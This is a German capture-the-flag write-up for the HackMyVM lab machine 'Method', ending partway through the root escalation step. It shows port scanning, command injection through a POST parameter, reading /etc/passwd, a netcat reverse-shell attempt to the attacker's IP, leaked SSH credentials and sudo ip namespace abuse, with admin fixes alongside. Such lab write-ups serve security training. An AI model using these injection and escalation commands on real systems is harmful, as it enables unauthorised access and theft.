Method - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
nikto
curl
vi (oder text editor)
wfuzz
searchsploit
ssh
sudo
ip
cat
ls
grep
nc (Versuch)

Inhaltsverzeichnis

Reconnaissance

Analyse: Der erste Schritt ist die Identifizierung aktiver Hosts im lokalen Netzwerk mittels `arp-scan -l`.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.127	08:00:27:c3:5c:1c	PCS Systemtechnik GmbH
                    

Bewertung: Ein Host mit der IP 192.168.2.127 wurde gefunden. Die MAC-Adresse deutet auf eine VirtualBox VM hin. Dies ist unser Zielsystem "Method".

Empfehlung (Pentester): Führen Sie einen Port-Scan auf 192.168.2.127 durch. Da spätere Befehle den Hostnamen `method.hmv` verwenden, fügen Sie einen Eintrag zur lokalen `/etc/hosts`-Datei hinzu (`192.168.2.127 method.hmv`).
Empfehlung (Admin): Netzwerküberwachung und Segmentierung können die Sichtbarkeit von Systemen einschränken.

Analyse: Ein `nmap`-Scan wird durchgeführt, um offene Ports, Dienste und Versionen zu ermitteln. Die Optionen `-sS` (SYN Scan), `-sC` (Standard Skripte), `-T5` (schnelles Timing), `-A` (Aggressive Scan-Optionen) und `-O` (OS-Erkennung) werden verwendet, zusammen mit `-p-` für alle TCP-Ports.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.127 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-17 22:52 CEST
Nmap scan report for method (192.168.2.127)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 4b24341f411088b75a6a63d9f675266f (RSA)
|   256 5246e72068c16f902fa6adee6d87e728 (ECDSA)
|_  256 3fce97a91ef460f40e71e746582871f0 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Test Page for the Nginx HTTP Server on Fedora
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:C3:5C:1C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms method (192.168.2.127)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in [Scan Duration]
                    

Bewertung: Der Scan identifiziert zwei offene Ports: * **Port 22 (SSH):** OpenSSH 8.4p1 auf Debian. Erfordert Anmeldedaten. * **Port 80 (HTTP):** nginx 1.18.0, zeigt eine Standard-Testseite (Titel: "Test Page for the Nginx HTTP Server on Fedora", obwohl der Server später als Debian identifiziert wird). Die Angriffsfläche scheint primär der Webserver zu sein, sekundär SSH, falls Zugangsdaten gefunden werden.

Empfehlung (Pentester): Enumerieren Sie den Webserver auf Port 80 gründlich mit Tools wie `nikto`, `gobuster` oder `wfuzz`. Suchen Sie nach Hinweisen auf dem Webserver oder in dessen Konfiguration, um Anmeldedaten für SSH zu finden.
Empfehlung (Admin): Halten Sie nginx und OpenSSH aktuell. Entfernen Sie die Standard-Testseite auf Port 80. Konfigurieren Sie SSH sicher (z.B. Key-basierte Authentifizierung, fail2ban).

Web Enumeration

Analyse: `nikto` wird verwendet, um schnell nach bekannten Webserver-Schwachstellen und interessanten Dateien auf Port 80 zu suchen.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.127
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.127
+ Target Hostname:    192.168.2.127
+ Target Port:        80
+ Start Time:         2023-04-17 22:52:38 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /dump.tar.bz2: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /1921682.cer: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192.168.tar.lzma: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /backup.egg: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /2.war: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /2.jks: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /1921682.pem: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /168.tar.lzma: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /backup.alz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192.tgz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /127.tar.bz2: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /site.cer: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /site.alz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192.168.2.127.pem: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /database.alz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /archive.tar: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /sitemap.xml: This gives a nice listing of the site content.
+ /www/: This might be interesting.
+ /oekaki/: The PaintBBS Server may allow unauthorized access to the config files. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0202
+ /httpd.conf: Apache httpd.conf configuration file.
+ /httpd.conf.bak: Apache httpd.conf configuration file.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ /wordpress/#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 7947 requests: 0 error(s) and 169 item(s) reported on remote host
+ End Time:           2023-04-17 22:52:55 (GMT2) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Bewertung: Nikto meldet fehlende Sicherheitsheader (geringes Risiko). Es listet eine **sehr große Anzahl** potenziell interessanter Dateien auf, hauptsächlich Backup-Archive (`.tar.bz2`, `.lzma`, `.tgz`, `.tar`), Zertifikate (`.cer`, `.pem`) und andere Archivtypen (`.egg`, `.alz`, `.war`, `.jks`). Dies ist höchst ungewöhnlich und könnte auf eine Fehlkonfiguration, ein Honeypot oder einfach viel Rauschen hindeuten. Relevanter erscheinen `/sitemap.xml` und `/www/`. Die Funde `/httpd.conf` (Apache-Konfig) und `/wp-config.php` (WordPress) sind wahrscheinlich False Positives, da Nmap einen nginx-Server identifiziert hat.

Empfehlung (Pentester): Die schiere Menge an Backup/Zertifikatsdateien ist verdächtig. Konzentrieren Sie sich zunächst auf die wahrscheinlicheren Ziele: Untersuchen Sie `/sitemap.xml` und `/www/`. Versuchen Sie, einige der spezifischeren Backup-Dateien herunterzuladen (z.B. `/dump.tar.bz2`, `/archive.tar`), wenn die anderen Pfade keine Ergebnisse liefern.
Empfehlung (Admin): Entfernen Sie alle nicht benötigten Dateien und Verzeichnisse aus dem Web-Root. Insbesondere Backup-Dateien, Zertifikate und Konfigurationsdateien gehören niemals in öffentlich zugängliche Bereiche. Implementieren Sie die fehlenden Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`).

Analyse: Der Inhalt der von Nikto gefundenen `/sitemap.xml` wird mit `curl` abgerufen. Der Hostname `method.hmv` wird verwendet (nach Eintrag in `/etc/hosts`).

┌──(root㉿cyber)-[~] └─# curl http://method.hmv/sitemap.xml


   
      https://hackmyvm.eu/machines/index.htm?vm=Brain
      2020-02-13
      monthly
      0.8
   

                    

Bewertung: Die Sitemap enthält nur einen externen Link zu `hackmyvm.eu` und keine relevanten Informationen über die Struktur der Ziel-Webseite `method.hmv`. Sie ist für die weitere Enumeration nutzlos.

Empfehlung (Pentester): Ignorieren Sie die Sitemap. Konzentrieren Sie sich auf andere Pfade oder versuchen Sie Parameter-Fuzzing.
Empfehlung (Admin): Stellen Sie sicher, dass Sitemaps aktuell sind und nur relevante interne URLs enthalten, oder entfernen Sie sie, wenn sie nicht benötigt werden.

Analyse: Die lokale `/etc/hosts`-Datei wird angezeigt, um die Zuordnung von `method.hmv` zur IP-Adresse 192.168.2.127 zu bestätigen.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
127.0.1.1	cyber

# 192.168.2.107    AAAAAAAAAAAAA.hmv
  192.168.2.127    method.hmv
                     

Bewertung: Die Zuordnung ist korrekt. Dies ermöglicht die Verwendung des Hostnamens in nachfolgenden Befehlen.

Empfehlung (Pentester): Verwenden Sie konsistent den Hostnamen `method.hmv`.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.

Analyse: Zugriff auf die Hauptseite `http://method.hmv` über einen Browser oder `curl`. Der angezeigte Text ist der Inhalt der Standard-nginx-Seite unter Debian, die den Speicherort (`/var/www/html`) und die Konfigurationsdatei (`/etc/nginx/nginx.conf`) erwähnt.

http://method.hmv

Welcome to nginx on Debian!

This page is used to test the proper operation of the nginx HTTP server
after it has been installed. If you can read this page, it means that
the web server installed at this site is working properly.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                  Website Administrator
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This is the default index.html page that is distributed with nginx on
Debian. It is located in /var/www/html.

You should now put your content in a location of your choice and edit
the root configuration directive in the nginx configuration file
/etc/nginx/nginx.conf.
                 

Bewertung: Bestätigt, dass es sich um die Standardseite handelt. Die Pfadangaben `/var/www/html` und `/etc/nginx/nginx.conf` sind nützliche Informationen für spätere Phasen, falls Datei-Lesezugriff erlangt wird.

Empfehlung (Pentester): Da `gobuster` und `nikto` keine klaren Angriffsvektoren aufzeigten, versuchen Sie Parameter-Fuzzing auf bekannten oder potenziellen Skripten (wie `index.php`, auch wenn es nicht explizit gefunden wurde) oder suchen Sie nach versteckten Dateien mit ungewöhnlichen Namen.
Empfehlung (Admin): Ersetzen Sie die Standardseite durch eigenen Inhalt oder eine leere Seite. Beschränken Sie den Zugriff auf Konfigurationsdateien.

Analyse: Ein Versuch mit `wfuzz`, GET-Parameter auf der nicht existierenden Seite `index.php` zu finden. `FUZZ` wird als Parametername eingesetzt, und `/etc/passwd` als Wert (typisch für LFI-Tests). `--hh 3690` filtert Antworten mit der Größe 3690 Zeichen (vermutlich die Standard-Fehlerseite oder die nginx-Willkommensseite).

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://method.hmv/index.php?FUZZ=/etc/passwd --hh 3690
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://method.hmv/index.php?FUZZ=/etc/passwd
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

Total time: [Scan Duration]
Processed Requests: 220560
Filtered Requests: 220560
Requests/sec.: [Scan Rate]
                    

Bewertung: Der Scan lieferte keine Ergebnisse. Es wurde kein Parameter gefunden, der eine abweichende Antwort (und damit eine potenzielle Schwachstelle wie LFI oder RCE) auf `index.php` auslöst.

Empfehlung (Pentester): Da Standard-Enumeration und -Fuzzing bisher wenig ergeben haben, ist ein anderer Ansatz nötig. Der nächste Schritt im Log (`searchsploit`, Google-Suche) deutet auf die Suche nach bekannten Exploits für nginx 1.18.0 hin, was aber meist nur bei spezifischen Konfigurationen erfolgreich ist. Der **entscheidende Hinweis muss übersehen worden sein oder fehlt im Log**. Der plötzliche Sprung zu `secret.php` im nächsten Abschnitt legt nahe, dass dieser Pfad auf andere Weise entdeckt wurde (z.B. durch eine aggressivere Wortliste, Analyse von JavaScript-Dateien oder einen Hinweis außerhalb des Logs).
Empfehlung (Admin): Halten Sie nginx aktuell. Überprüfen Sie die Konfiguration auf Sicherheit.

Analyse: Suche nach bekannten öffentlichen Exploits für nginx mit `searchsploit` und Google.

┌──(root㉿cyber)-[~] └─# searchsploit nginx
------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local P | linux/local/40768.sh
Nginx 0.6.36 - Directory Traversal                          | multiple/remote/12804.txt
Nginx 0.6.38 - Heap Corruption                              | linux/local/14830.py
Nginx 0.6.x - Arbitrary Code Execution NullByte Injection   | multiple/webapps/24967.txt
Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0. | linux/dos/9901.txt
Nginx 0.7.61 - WebDAV Directory Traversal                   | multiple/remote/9829.txt
Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Inj | multiple/remote/33490.txt
Nginx 0.7.65/0.8.39 (dev) - Source Disclosure / Download    | windows/remote/13822.txt
Nginx 0.8.36 - Source Disclosure / Denial of Service        | windows/remote/13818.txt
Nginx 1.1.17 - URI Processing SecURIty Bypass               | multiple/remote/38846.txt
Nginx 1.20.0 - Denial of Service (DOS)                      | multiple/remote/50973.py
Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overfl | linux/remote/25775.rb
Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC)               | linux/dos/25499.py
Nginx 1.3.9/1.4.0 (x86) - Brute Force                       | linux_x86/remote/26737.pl
Nginx 1.4.0 (Generic Linux x64) - Remote Overflow           | linux_x86-64/remote/32277.txt
PHP-FPM + Nginx - Remote Code Execution                     | php/webapps/47553.md
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
                    
https://www.google.de/search?q=nginx+1.18.0+exploit+github&sxsrf=APwXEdcIoc-JGDcCPwK5ILBN_KqchT8XQA%3A1681765643829&ei=C7U9ZPX5MYW8xc8PwLCRoAY&oq=remote+exploid+nginx%2F1.18.0&gs_lcp=Cgxnd3Mtd2l6LXNlcnAQARgBMgUIABCiBDIFCAAQogQ6CggAEEcQ1gQQsANKBAhBGABQjhZYjhZgsTZoAnABeACAAYABiAGAAZIBAzAuMZgBAKABAqABAcgBCMABAQ&sclient=gws-wiz-serp

nginx 1.18.0 exploit github
                 

Bewertung: Die Suche nach öffentlichen Exploits für nginx 1.18.0 liefert keine direkten, einfach anwendbaren Ergebnisse. Viele Exploits betreffen ältere Versionen oder erfordern spezielle Konfigurationen (wie WebDAV oder PHP-FPM).

Empfehlung (Pentester): Die Ausnutzung eines öffentlichen Exploits für den nginx-Server selbst ist unwahrscheinlich. Der Fokus muss auf der Webanwendung liegen, die auf nginx läuft (auch wenn bisher nur die Standardseite sichtbar war). Es muss eine versteckte Datei oder ein Verzeichnis geben. *Der nächste Schritt im Log springt zu `secret.php`, was diese Annahme stützt.*
Empfehlung (Admin): Patching ist wichtig, aber hier scheint die Schwachstelle eher in der Anwendung als im Webserver selbst zu liegen.

Analyse: Es wird versucht, auf `secret.php` zuzugreifen, diesmal mit `curl -I`, um nur die Header abzurufen. Der Pfad `secret.php` muss zwischenzeitlich gefunden worden sein (z.B. durch eine andere Wortliste, einen Hinweis, oder er war doch in der Nikto-Ausgabe und wurde übersehen - Nikto hat `/www/` gefunden, vielleicht liegt es dort?).

┌──(root㉿cyber)-[~] └─# curl http://method.hmv/secret.php -I
HTTP/1.1 302 Found
Server: nginx/1.18.0
Date: Mon, 17 Apr 2023 21:23:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Location: https://images-na.ssl-images-amazon.com/images/I/31YDo0l4ZrL._SX331_BO1,204,203,200_.jpg
                    

Bewertung: Der Server antwortet mit einem 302 Redirect auf eine externe Bild-URL. Dies bestätigt die Existenz von `secret.php`, aber ein einfacher GET-Request ohne Parameter führt nicht zum Ziel. Das Skript erwartet wahrscheinlich Parameter oder eine andere HTTP-Methode.

Empfehlung (Pentester): Testen Sie `secret.php` mit verschiedenen Parametern (z.B. `cmd`, `file`, `page`, oder Namen, die thematisch passen) und verschiedenen HTTP-Methoden (POST).
Empfehlung (Admin): Untersuchen Sie `secret.php`. Wenn es nicht benötigt wird, entfernen Sie es. Wenn es benötigt wird, stellen Sie sicher, dass es sicher ist und nicht auf externe Seiten umleitet, es sei denn, dies ist beabsichtigt.

Initial Access (Command Injection)

Analyse: Es wird versucht, `secret.php` mit einem GET-Parameter `HackMyVM=id` aufzurufen.

┌──(root㉿cyber)-[~] └─# curl http://method.hmv/secret.php?HackMyVM=id
Now the main part what it is loooooool
Try other method
                     

Bewertung: Die Antwort "Try other method" bestätigt, dass `HackMyVM` der richtige Parametername ist, aber die GET-Methode nicht zur Ausführung führt.

Empfehlung (Pentester): Senden Sie eine POST-Anfrage mit dem Parameter `HackMyVM=id`.
Empfehlung (Admin): Der Code in `secret.php` ist unsicher und sollte dringend korrigiert werden.

Analyse: Eine POST-Anfrage wird mit `curl -X POST` an `secret.php` gesendet. Der Parameter `HackMyVM` wird im Body (`-d`) mit dem Wert `id` übergeben. Der `Content-Type` Header wird korrekt gesetzt.

┌──(root㉿cyber)-[~] └─# curl -X POST 'http://method.hmv/secret.php' -d 'HackMyVM=id' -H 'Content-Type: application/x-www-form-urlencoded'
You Found ME : - ( uid=33(www-data) gid=33(www-data) groups=33(www-data)
                     

Bewertung: **Command Injection erfolgreich!** Die POST-Anfrage führt den `id`-Befehl aus und gibt das Ergebnis zurück. Der Befehl wird als `www-data` ausgeführt. Initial Access ist erreicht.

Empfehlung (Pentester): Nutzen Sie diese Schwachstelle, um das System weiter zu enumerieren und Anmeldedaten für SSH zu finden oder eine Reverse Shell zu etablieren.
Empfehlung (Admin):** **Dringend:** Beheben Sie die RCE-Schwachstelle in `secret.php` durch Validierung/Sanitisierung der Eingabe oder durch Verwendung sicherer Funktionen anstelle von `system()`.

Analyse: Versuch, eine Reverse Shell mit `nc -e` über die POST-Command-Injection zu starten.

┌──(root㉿cyber)-[~] └─# curl -X POST 'http://method.hmv/secret.php' -d 'HackMyVM=nc -e /bin/bash 192.168.2.129 4444' -H 'Content-Type: application/x-www-form-urlencoded'
You Found ME
                     

Bewertung: Die Antwort enthält nicht die erwartete Shell-Ausgabe oder eine Fehlermeldung. Der Befehl `nc -e` ist oft auf modernen Systemen nicht verfügbar oder die Webserver-Umgebung verhindert die direkte Socket-Interaktion auf diese Weise. Dieser Reverse-Shell-Versuch ist wahrscheinlich fehlgeschlagen.

Empfehlung (Pentester): Versuchen Sie andere Reverse-Shell-Methoden (Bash TCP, Python, Perl, PHP). Wenn keine direkte Shell möglich ist, fahren Sie mit der Enumeration über die POST-Requests fort.
Empfehlung (Admin): Entfernen Sie unnötige Tools wie Netcat (`nc`) vom Server oder beschränken Sie deren Ausführung.

Analyse: Weitere Enumeration über die POST-RCE-Schwachstelle: Auslesen von `/etc/passwd`, Filtern nach Shell-Benutzern, Auflisten von Home-Verzeichnissen und des Inhalts von `/home/prakasaka`, Lesen der User-Flag.

┌──(root㉿cyber)-[~] └─# curl -X POST 'http://method.hmv/secret.php' -d 'HackMyVM=cat /etc/passwd' -H 'Content-Type: application/x-www-form-urlencoded'
You Found ME : - ( root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
prakasaka:x:1000:1000:prakasaka,,,:/home/prakasaka:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
                     
┌──(root㉿cyber)-[~] └─# curl -X POST 'http://method.hmv/secret.php' -d 'HackMyVM=cat /etc/passwd | grep bash+' -H 'Content-Type: application/x-www-form-urlencoded'
You Found ME : - ( root:x:0:0:root:/root:/bin/bash
prakasaka:x:1000:1000:prakasaka,,,:/home/prakasaka:/bin/bash
                    
┌──(root㉿cyber)-[~] └─# curl -X POST 'http://method.hmv/secret.php' -d 'HackMyVM=ls /home' -H 'Content-Type: application/x-www-form-urlencoded'
You Found ME : - ( prakasaka
                     
┌──(root㉿cyber)-[~] └─# curl -X POST 'http://method.hmv/secret.php' -d 'HackMyVM=ls /home/prakasaka' -H 'Content-Type: application/x-www-form-urlencoded'
You Found ME : - ( uSeR.txt
                    
┌──(root㉿cyber)-[~] └─# curl -X POST 'http://method.hmv/secret.php' -d 'HackMyVM=cat /home/prakasaka/uSeR.txt' -H 'Content-Type: application/x-www-form-urlencoded'
You Found ME : - ( e4408105ca9c2a5c2714a818c475d06F
                    

Bewertung: Die Enumeration bestätigt den Benutzer `prakasaka` als einzigen regulären Benutzer mit Bash-Zugriff. Die User-Flag (`e4408105ca9c...`) wurde im Home-Verzeichnis dieses Benutzers gefunden und ausgelesen.

Empfehlung (Pentester): Dokumentieren Sie die User-Flag. Der nächste Schritt ist, Anmeldedaten für `prakasaka` zu finden, um sich per SSH anzumelden. Untersuchen Sie dazu Konfigurationsdateien oder Quellcode im Web-Root-Verzeichnis (`/var/www/html`).
Empfehlung (Admin): Beheben Sie die RCE. Überprüfen Sie Dateiberechtigungen in Home-Verzeichnissen.

Analyse: Weitere Enumeration des Web-Roots (`/var/www/html`) und relevanter Dateien (`note.txt`, `secret.php`).

┌──(root㉿cyber)-[~] └─# curl -X POST 'http://method.hmv/secret.php' -d 'HackMyVM=ls -la /home/prakasaka' -H 'Content-Type: application/x-www-form-urlencoded'
You Found ME : - (
total 24
drwxr-xr-x 2 prakasaka prakasaka 4096 Oct 23  2021 .
drwxr-xr-x 3 root      root      4096 Oct 23  2021 ..
lrwxrwxrwx 1 root      root         9 Oct 23  2021 .bash_history -> /dev/null
-rw-r--r-- 1 prakasaka prakasaka  220 Oct 23  2021 .bash_logout
-rw-r--r-- 1 prakasaka prakasaka 3526 Oct 23  2021 .bashrc
-rw-r--r-- 1 prakasaka prakasaka  807 Oct 23  2021 .profile
-rw-r--r-- 1 root      root        33 Oct 23  2021 uSeR.txt
                    
┌──(root㉿cyber)-[~] └─# curl -X POST 'http://method.hmv/secret.php' -d 'HackMyVM=ls -la /var/www/html' -H 'Content-Type: application/x-www-form-urlencoded'
You Found ME : - (
total 7264
drwxr-xr-x 2 root root    4096 Oct 23  2021 .
drwxr-xr-x 3 root root    4096 Oct 23  2021 ..
-rw-r--r-- 1 root root 5325119 May  6  2021 hacker.gif
-rw-r--r-- 1 root root     344 Oct 23  2021 index.htm
-rw-r--r-- 1 root root    3690 Oct 23  2021 index.html
-rw-r--r-- 1 root root      23 Oct 23  2021 note.txt
-rw-r--r-- 1 root root 2078389 Nov 30  2020 office.gif
-rw-r--r-- 1 root root     471 Oct 23  2021 secret.php
-rw-r--r-- 1 root root     285 Oct 23  2021 sitemap.xml
                    
┌──(root㉿cyber)-[~] └─# curl -X POST 'http://method.hmv/secret.php' -d 'HackMyVM=cat /var/www/html/note.txt' -H 'Content-Type: application/x-www-form-urlencoded'
You Found ME : - ( Enumeration is the key
                     
┌──(root㉿cyber)-[~] └─# curl -X POST 'http://method.hmv/secret.php' -d 'HackMyVM=cat /var/www/html/secret.php' -H 'Content-Type: application/x-www-form-urlencoded'
You Found ME : - ( th3-!llum!n@t0r";
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
?>
                     

Bewertung: Die Auflistung von `/home/prakasaka` zeigt, dass `.bash_history` deaktiviert ist. Die Auflistung von `/var/www/html` zeigt die erwarteten Dateien, einschließlich `secret.php`. Die Datei `note.txt` enthält den Hinweis "Enumeration is the key". Der entscheidende Fund ist das Auslesen des Quellcodes von `secret.php`. Dieser bestätigt nicht nur die RCE-Schwachstelle (`system($_POST['HackMyVM'])`), sondern enthält auch **hardcodierte Anmeldedaten** in einer auskommentierten oder Variablenzuweisung: `$ok="prakasaka:th3-!llum!n@t0r";`.

Empfehlung (Pentester): Verwenden Sie die gefundenen Anmeldedaten (`prakasaka` / `th3-!llum!n@t0r`) für den SSH-Login auf Port 22.
Empfehlung (Admin):** **Dringend:** Entfernen Sie hardcodierte Anmeldedaten aus dem Quellcode. Verwenden Sie sichere Methoden zur Verwaltung von Geheimnissen (z.B. Umgebungsvariablen, Konfigurationsmanagement-Tools, Secret Vaults). Beheben Sie die RCE-Schwachstelle. Ändern Sie das Passwort von `prakasaka`.

Analyse: Versuch, sich per SSH mit den gefundenen Anmeldedaten anzumelden. Der Benutzer wird zur Bestätigung des Host-Schlüssels aufgefordert und gibt das Passwort ein.

┌──(root㉿cyber)-[~] └─# ssh prakasaka@method.hmv
The authenticity of host 'method.hmv (192.168.2.127)' can't be established.
ED25519 key fingerprint is SHA256:D53VHP4fq2RTpU4+raTrdLYqT8iRcYHlLV+W3TQMFh0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'method.hmv' (ED25519) to the list of known hosts.
prakasaka@method.hmv's password: th3-!llum!n@t0r
Linux method 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Oct 23 15:52:32 2021 from 192.168.1.5
prakasaka@method:~$
                     

Bewertung: **SSH-Login erfolgreich!** Der Pentester hat nun eine stabile Shell als Benutzer `prakasaka`.

Empfehlung (Pentester): Beginnen Sie mit der Privilege Escalation Enumeration (`sudo -l`, SUID, Capabilities etc.).
Empfehlung (Admin): Ändern Sie das Passwort von `prakasaka`. Entfernen Sie die hardcodierten Credentials aus `secret.php`.

Privilege Escalation Preparation

Analyse: Als Benutzer `prakasaka` wird `sudo -l` ausgeführt, um die Berechtigungen zu überprüfen.

prakasaka@method:~$ sudo -l
Matching Defaults entries for prakasaka on method:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User prakasaka may run the following commands on method:
    (!root) NOPASSWD: /bin/bash
    (root) /bin/ip
                    

Bewertung: **Kritischer Fund für Privilege Escalation!** * `(!root) NOPASSWD: /bin/bash`: Erlaubt das Ausführen von `/bin/bash` als *jeder andere Benutzer außer root* ohne Passwort. Dies ist für die direkte Root-Eskalation nicht nützlich. * `(root) /bin/ip`: Erlaubt das Ausführen des Befehls `/bin/ip` als `root`. Das Passwort für `prakasaka` wird benötigt (da `NOPASSWD` nicht angegeben ist), aber das Passwort ist bekannt. Der `ip`-Befehl kann oft zur Rechteausweitung missbraucht werden (siehe GTFOBins).

Empfehlung (Pentester): Recherchieren Sie Methoden zur Rechteausweitung mittels `sudo /bin/ip` (z.B. GTFOBins). Die `ip netns exec`-Methode ist ein bekannter Weg.
Empfehlung (Admin):** **Dringend:** Überprüfen Sie die `sudoers`-Regel. Das Erlauben von `/bin/ip` als root ist gefährlich. Gewähren Sie `sudo`-Rechte nur für spezifische, eingeschränkte Befehle oder Skripte, nicht für mächtige Tools wie `ip`. Entfernen Sie die `(!root) NOPASSWD: /bin/bash`-Regel, da sie wenig Sinn ergibt und potenziell missbraucht werden könnte, um die Identität anderer Benutzer anzunehmen.

Proof of Concept (Privilege Escalation via Sudo IP)

Analyse: Ausnutzung der `sudo ip`-Berechtigung mittels der `ip netns exec`-Technik, die auf GTFOBins dokumentiert ist. 1. `sudo ip netns add foo`: Erstellt einen neuen Netzwerk-Namespace namens `foo`. Da `ip` als `root` ausgeführt wird, erfordert dies das Passwort von `prakasaka`. 2. `sudo ip netns exec foo /bin/bash`: Führt `/bin/bash` innerhalb des neu erstellten Namespaces aus. Da `ip netns exec` ebenfalls als `root` läuft, erbt die gestartete Bash-Shell die Root-Privilegien.

